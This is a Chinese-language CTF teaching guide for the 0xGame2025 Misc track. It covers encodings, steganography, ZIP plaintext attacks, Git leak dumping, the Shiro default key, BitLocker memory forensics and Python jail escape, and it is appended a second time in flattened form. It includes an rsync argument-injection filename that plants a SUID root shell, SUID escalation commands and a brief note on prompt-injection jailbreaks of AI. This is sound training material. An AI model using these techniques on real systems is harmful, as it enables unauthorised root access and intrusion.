0xGame2025 CTF Misc赛道出题解析与教学指南
字数 3504 2025-11-08 10:04:01

0xGame2025 CTF Misc赛道教学指南

前言

本教学文档基于0xGame2025 CTF Misc赛道的出题思路和解题方法整理而成,旨在帮助CTF初学者系统学习Misc方向的核心知识点。

Week1 基础入门

1.1 编码基础

Base64编码

  • 原理:将二进制数据转换为64个可打印字符(A-Z, a-z, 0-9, +, /)
  • 编码过程
    1. 将数据按3字节分组(24位)
    2. 每组拆分为4个6位组
    3. 每个6位组转换为十进制(0-63)
    4. 根据Base64索引表对应字符
  • 填充规则:不足3字节用0填充,输出用=表示填充
  • 特征识别Zmxh可能是"flag"的Base64编码

凯撒密码

  • 原理:字母表移位替换密码
  • 加密公式密文字母 = (明文字母位置 + 偏移量) mod 26
  • 解密公式明文字母 = (密文字母位置 - 偏移量 + 26) mod 26
  • 大小写处理
    • 大写字母:A(65)-Z(90)
    • 小写字母:a(97)-z(122)
  • 破解方法:爆破26种可能偏移量

1.2 文件格式分析

.docx文件结构

  • 本质是ZIP压缩包格式
  • 遵循开放打包约定(OPC)
  • 可修改后缀为.zip解压查看内部文件
  • 重要目录:docProps/可能包含隐藏信息

1.3 Linux基础命令

  • SSH连接ssh username@hostname -p port
  • 常用命令
    • whoami:显示当前用户名
    • pwd:显示当前工作目录
    • ls:列出文件(参数:-a显示隐藏文件,-l显示详细信息)
    • cd:切换目录
    • cat:读取文件内容
    • su:切换用户

1.4 图片隐写技术

LSB隐写原理

  • 基本概念:修改像素RGB值的最低有效位(LSB)
  • 存储格式:PNG通常使用RGB模式,每个通道范围0-255
  • 隐写影响:对画面视觉效果影响极小
  • 提取工具
    • Stegsolve:可视化工具,支持通道分析
    • Zsteg:命令行工具,自动检测隐写

使用方法(Stegsolve):

  1. 导入图片
  2. Analyse → Data Extract
  3. 勾选RGB通道的LSB
  4. 选择LSB First模式
  5. Preview查看结果

Week2 进阶技能

2.1 自定义Base64

  • 核心原理:Base64第4个字符的索引值 = 第3个输入字节的低6位(byte3 % 64)
  • 解题思路:通过对比明文密文反推自定义字符集
  • 工具差异:Python base64库遇到=停止,系统base64命令解码更灵活

2.2 ZIP明文攻击

攻击条件

  1. 压缩方式为ZipCrypto加密
  2. 已知8字节连续明文和对应偏移
  3. 需要4字节明文验证密钥

攻击步骤

  1. 使用bkcrack -L查看压缩包信息
  2. 准备已知明文(如PNG文件头)
  3. 执行攻击:bkcrack -C encrypted.zip -c target_file -p known_plaintext
  4. 使用获取的密钥解密

PNG文件头特征

  • 魔数头:89 50 4E 47 0D 0A 1A 0A
  • IHDR块:00 00 00 0D 49 48 44 52

2.3 Git泄露利用

  • 关键文件.git文件夹包含版本历史
  • 恢复工具:GitTools中的gitdumperextractor
  • 解题步骤
    1. 下载.git文件夹:gitdumper http://target/.git/ repo
    2. 提取历史文件:extractor repo output
    3. 查看提交记录恢复删除文件

2.4 Shiro反序列化

漏洞原理

  • Remember Me功能使用AES加密序列化数据
  • 默认密钥:kPH+bIxk5D2deZiIxcaaaA==
  • 数据流:Base64 → AES解密 → Java反序列化

流量分析要点

  • 查找HTTP流量中的rememberMe Cookie
  • 使用在线工具解密:https://potato.gold/navbar/tool/shiro/ShiroTool.html
  • 命令执行结果可能通过DNS隧道传输

2.5 图片元数据修改

宽高修改方法

  • PNG:修改IHDR块的width和height
  • JPG:修改SOF0段的宽高值
  • GIF:修改Logical Screen Descriptor

EXIF工具

  • 使用exiftool查看和修改元数据
  • 命令:exiftool -参数 图片文件

2.6 区块链基础

解题要素

  1. RPC链地址(网络配置)
  2. 合约地址
  3. 测试币水龙头
  4. 挑战合约代码

操作流程

  1. 安装MetaMask插件
  2. 添加自定义网络(链ID、RPC URL)
  3. 导入私钥获取测试币
  4. 使用Remix IDE编译部署合约
  5. 与合约交互完成挑战

Week3 高级技术

3.1 AI提示词注入

  • 目标:让AI跳出预设prompt限制
  • 方法:创造特殊情景诱导AI越狱
  • 应用:简单的AI安全测试题目

3.2 内存修改技术

Cheat Engine使用

  1. 运行游戏和Cheat Engine
  2. 附加游戏进程
  3. 扫描变化的值定位内存地址
  4. 修改内存值达成目标

其他工具

  • x64dbg动态调试
  • IDA Pro逆向分析

3.3 Base64绕过技巧

Python与系统差异

  • Python base64库:严格遵循规范,遇到=停止
  • 系统base64命令:灵活解码所有字符

绕过方法

  • 使用双Base64编码拼接
  • 利用echo命令特性(-n参数避免换行符)

3.4 Linux提权技术

SUID提权原理

  • SUID程序以文件所有者权限运行
  • 查找命令:find / -perm -u=s -type f 2>/dev/null
  • 常见SUID程序:dd、bash等

资源网站

  • GTFOBins:https://gtfobins.github.io/

3.5 BitLocker内存取证

密钥体系

  1. FVEK(全卷加密密钥):直接加密数据
  2. VMK(卷主密钥):加密FVEK
  3. 保护器:加密VMK(密码、TPM等)

取证步骤

  1. 使用Volatility分析内存镜像
  2. 识别Profile:volatility -f image.raw imageinfo
  3. 提取FVEK:volatility --profile=Win7SP1x64 -f image.raw bitlocker
  4. 使用dislocker解密:
    dislocker -v -V image.raw -k fvek.file --offset=65536 dislocker-mount/
    mount -o loop,ro dislocker-mount/dislocker-file mount-point/
    

3.6 APNG隐写

文件结构

  • 基于PNG格式,增加fcTL块控制动画
  • 关键字段:delay_num(延时)、dispose_op(帧处理)
  • 可进行时间轴隐写

解题工具

  • Python apng库处理帧提取
  • Stegsolve分析LSB隐写
  • OurSecret工具处理深层隐写

Week4 实战应用

4.1 NTFS日志分析

$LogFile作用

  • 记录元数据操作(创建、删除、重命名等)
  • 不记录文件实际内容
  • 系统权限要求高,难以篡改

分析方法

  1. 使用Autopsy或7z提取$LogFile
  2. 使用日志分析工具解析
  3. 查询重命名操作:
    SELECT lf_UsnJrlTimestamp, lf_UsnJrlReason, lf_FileName 
    FROM LogFile 
    WHERE lf_UsnJrlReason LIKE '%RENAME%' 
    ORDER BY lf_LSN;
    

4.2 渗透提权实战

定时任务利用

  1. 查看/etc/cron.d/目录
  2. 分析root权限的定时任务
  3. 利用rsync的--rsync-path参数劫持:
    touch -- --rsync-path=sh\ shell.sh
    echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash' > shell.sh
    

SUID绕过

  • Bash安全机制:SUID运行时降级权限
  • 使用-p参数保留权限:./rootbash -p

4.3 CRC32爆破攻击

攻击原理

  • ZIP元数据中存储原始文件CRC32校验码
  • 小文件(≤4字节)可暴力破解内容
  • 结合明文攻击获取加密密钥

攻击条件

  • 压缩方式为ZipCrypto
  • 目标文件原始大小较小
  • 已知CRC32值

4.4 Python Jail逃逸

逃逸方法

  1. 构建对象继承链:
    ''.__class__.__base__.__subclasses__()
    
  2. 查找可利用类(如os._wrap_close)
  3. 调用危险函数执行命令

文件描述符利用

  • 通过/proc/pid/fd/读取已打开文件
  • 绕过权限检查(open过程验证权限)
  • 读取方法:
    import os
    os.lseek(4, 0, 0)
    print(os.read(4, 90000).decode('utf-8', errors='ignore'))
    

学习建议

工具使用原则

  1. 理解原理后再使用自动化工具
  2. 重要比赛优先使用可靠工具
  3. 掌握多种解决方案以备不时之需

AI使用规范

  1. 作为学习辅助而非替代思考
  2. 理解AI给出的解决方案
  3. 记录学习过程和思考路径

持续学习路径

  1. 以赛代学,参加各类CTF比赛
  2. 建立技术博客记录解题过程
  3. 寻找学习伙伴共同进步
  4. 关注前沿技术和新型漏洞

结语

本教学文档涵盖了0xGame2025 Misc赛道的主要知识点,从基础编码到高级取证技术,旨在为CTF初学者提供系统的学习路径。建议结合实际题目练习,逐步提升技能水平。

0xGame2025 CTF Misc赛道教学指南 前言 本教学文档基于0xGame2025 CTF Misc赛道的出题思路和解题方法整理而成,旨在帮助CTF初学者系统学习Misc方向的核心知识点。 Week1 基础入门 1.1 编码基础 Base64编码 原理 :将二进制数据转换为64个可打印字符(A-Z, a-z, 0-9, +, /) 编码过程 : 将数据按3字节分组(24位) 每组拆分为4个6位组 每个6位组转换为十进制(0-63) 根据Base64索引表对应字符 填充规则 :不足3字节用0填充,输出用=表示填充 特征识别 : Zmxh 可能是"flag"的Base64编码 凯撒密码 原理 :字母表移位替换密码 加密公式 : 密文字母 = (明文字母位置 + 偏移量) mod 26 解密公式 : 明文字母 = (密文字母位置 - 偏移量 + 26) mod 26 大小写处理 : 大写字母:A(65)-Z(90) 小写字母:a(97)-z(122) 破解方法 :爆破26种可能偏移量 1.2 文件格式分析 .docx文件结构 本质是ZIP压缩包格式 遵循开放打包约定(OPC) 可修改后缀为.zip解压查看内部文件 重要目录: docProps/ 可能包含隐藏信息 1.3 Linux基础命令 SSH连接 : ssh username@hostname -p port 常用命令 : whoami :显示当前用户名 pwd :显示当前工作目录 ls :列出文件(参数: -a 显示隐藏文件, -l 显示详细信息) cd :切换目录 cat :读取文件内容 su :切换用户 1.4 图片隐写技术 LSB隐写原理 基本概念 :修改像素RGB值的最低有效位(LSB) 存储格式 :PNG通常使用RGB模式,每个通道范围0-255 隐写影响 :对画面视觉效果影响极小 提取工具 : Stegsolve:可视化工具,支持通道分析 Zsteg:命令行工具,自动检测隐写 使用方法(Stegsolve): 导入图片 Analyse → Data Extract 勾选RGB通道的LSB 选择LSB First模式 Preview查看结果 Week2 进阶技能 2.1 自定义Base64 核心原理 :Base64第4个字符的索引值 = 第3个输入字节的低6位(byte3 % 64) 解题思路 :通过对比明文密文反推自定义字符集 工具差异 :Python base64库遇到=停止,系统base64命令解码更灵活 2.2 ZIP明文攻击 攻击条件 压缩方式为ZipCrypto加密 已知8字节连续明文和对应偏移 需要4字节明文验证密钥 攻击步骤 使用 bkcrack -L 查看压缩包信息 准备已知明文(如PNG文件头) 执行攻击: bkcrack -C encrypted.zip -c target_file -p known_plaintext 使用获取的密钥解密 PNG文件头特征 魔数头: 89 50 4E 47 0D 0A 1A 0A IHDR块: 00 00 00 0D 49 48 44 52 2.3 Git泄露利用 关键文件 : .git 文件夹包含版本历史 恢复工具 :GitTools中的 gitdumper 和 extractor 解题步骤 : 下载.git文件夹: gitdumper http://target/.git/ repo 提取历史文件: extractor repo output 查看提交记录恢复删除文件 2.4 Shiro反序列化 漏洞原理 Remember Me功能使用AES加密序列化数据 默认密钥: kPH+bIxk5D2deZiIxcaaaA== 数据流:Base64 → AES解密 → Java反序列化 流量分析要点 查找HTTP流量中的rememberMe Cookie 使用在线工具解密:https://potato.gold/navbar/tool/shiro/ShiroTool.html 命令执行结果可能通过DNS隧道传输 2.5 图片元数据修改 宽高修改方法 PNG :修改IHDR块的width和height JPG :修改SOF0段的宽高值 GIF :修改Logical Screen Descriptor EXIF工具 使用exiftool查看和修改元数据 命令: exiftool -参数 图片文件 2.6 区块链基础 解题要素 RPC链地址(网络配置) 合约地址 测试币水龙头 挑战合约代码 操作流程 安装MetaMask插件 添加自定义网络(链ID、RPC URL) 导入私钥获取测试币 使用Remix IDE编译部署合约 与合约交互完成挑战 Week3 高级技术 3.1 AI提示词注入 目标 :让AI跳出预设prompt限制 方法 :创造特殊情景诱导AI越狱 应用 :简单的AI安全测试题目 3.2 内存修改技术 Cheat Engine使用 运行游戏和Cheat Engine 附加游戏进程 扫描变化的值定位内存地址 修改内存值达成目标 其他工具 x64dbg动态调试 IDA Pro逆向分析 3.3 Base64绕过技巧 Python与系统差异 Python base64库:严格遵循规范,遇到=停止 系统base64命令:灵活解码所有字符 绕过方法 使用双Base64编码拼接 利用echo命令特性(-n参数避免换行符) 3.4 Linux提权技术 SUID提权原理 SUID程序以文件所有者权限运行 查找命令: find / -perm -u=s -type f 2>/dev/null 常见SUID程序:dd、bash等 资源网站 GTFOBins:https://gtfobins.github.io/ 3.5 BitLocker内存取证 密钥体系 FVEK(全卷加密密钥):直接加密数据 VMK(卷主密钥):加密FVEK 保护器:加密VMK(密码、TPM等) 取证步骤 使用Volatility分析内存镜像 识别Profile: volatility -f image.raw imageinfo 提取FVEK: volatility --profile=Win7SP1x64 -f image.raw bitlocker 使用dislocker解密: 3.6 APNG隐写 文件结构 基于PNG格式,增加fcTL块控制动画 关键字段:delay_ num(延时)、dispose_ op(帧处理) 可进行时间轴隐写 解题工具 Python apng库处理帧提取 Stegsolve分析LSB隐写 OurSecret工具处理深层隐写 Week4 实战应用 4.1 NTFS日志分析 $LogFile作用 记录元数据操作(创建、删除、重命名等) 不记录文件实际内容 系统权限要求高,难以篡改 分析方法 使用Autopsy或7z提取$LogFile 使用日志分析工具解析 查询重命名操作: 4.2 渗透提权实战 定时任务利用 查看/etc/cron.d/目录 分析root权限的定时任务 利用rsync的--rsync-path参数劫持: SUID绕过 Bash安全机制:SUID运行时降级权限 使用-p参数保留权限: ./rootbash -p 4.3 CRC32爆破攻击 攻击原理 ZIP元数据中存储原始文件CRC32校验码 小文件(≤4字节)可暴力破解内容 结合明文攻击获取加密密钥 攻击条件 压缩方式为ZipCrypto 目标文件原始大小较小 已知CRC32值 4.4 Python Jail逃逸 逃逸方法 构建对象继承链: 查找可利用类(如os._ wrap_ close) 调用危险函数执行命令 文件描述符利用 通过/proc/pid/fd/读取已打开文件 绕过权限检查(open过程验证权限) 读取方法: 学习建议 工具使用原则 理解原理后再使用自动化工具 重要比赛优先使用可靠工具 掌握多种解决方案以备不时之需 AI使用规范 作为学习辅助而非替代思考 理解AI给出的解决方案 记录学习过程和思考路径 持续学习路径 以赛代学,参加各类CTF比赛 建立技术博客记录解题过程 寻找学习伙伴共同进步 关注前沿技术和新型漏洞 结语 本教学文档涵盖了0xGame2025 Misc赛道的主要知识点,从基础编码到高级取证技术,旨在为CTF初学者提供系统的学习路径。建议结合实际题目练习,逐步提升技能水平。